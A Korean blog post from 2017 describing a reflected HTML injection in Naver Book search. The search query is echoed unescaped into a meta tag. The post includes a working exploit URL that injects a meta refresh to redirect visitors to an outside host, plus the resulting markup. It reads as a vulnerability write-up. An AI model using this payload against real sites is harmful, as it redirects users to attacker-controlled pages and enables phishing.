리얼월드 (Real world)

NAVER book(네이버 북) 취약점

2017. 12. 15. 20:57

XSS라고 보기엔 조금 어렵고.. 음.. 그냥 HTML Injection이라고 해야 마음이 편할 것 같다. 네이버 북에서 발견했던 Reflect HTML Injection이다. 이것도 우리 반 친구와의 네이버 취약점 경쟁에서 찾은 취약점이다. 


이 취약점을 찾았던 경위는 생기부에 쓸 책 검색하다가..ㅎㅎ


네이버 북 취약점


공격 벡터 


공격벡터는 생각보다 단순하다. 책을 검색할 때 검색한 내용을 <meta> 태그의 content 속성에 출력해주는데 이 때 " (더블쿼터) 및 특수문자를 필터링하지 않아서 생기는 취약점이다. 


[ 리버싱 핵샘원리"" ] 이렇게 검색했는데 content 에 아무런 검증없이 출력한다. 이로써 다른 Attribute를 추가할 수 있다. 하지만, <body> 태그 안이 아니기도 하고, 평소 잘 사용하지 않던 <meta> 태그라서 까다롭다고 생각했지만, <meta> 태그의 content 를 이용해서 redirect 하던 webhacking.kr의 기능이 떠올랐다. 



Exploit


http://book.naver.com/search/search.nhn?sm=sta_hty.book&sug=&where=nextSearch&query=%EB%A6%AC%EB%B2%84%EC%8B%B1+%ED%95%B5%EC%8B%AC+%EC%9B%90%EB%A6%AC;url=http://dimitrust.oa.to"+HTTP-EQUIV="refresh"+asdf="


이렇게 하면 redirect할 URL을 해커의 URL로 설정하고 HTTP-EQUIV의 값을 refresh 로 설정하여 바로 refresh 되도록 했다. 


결국엔 태그가 이렇게 들어간다.


<meta property="og:title" content="네이버 책: '리버싱 핵심 원리;url=http://dimitrust.oa.to" HTTP-EQUIV="refresh" asdf="' 검색결과"/>





그리고 해당 링크로 접속하면 지정한 URL (http://dimitrust.oa.to) 로 리다이렉트 된다.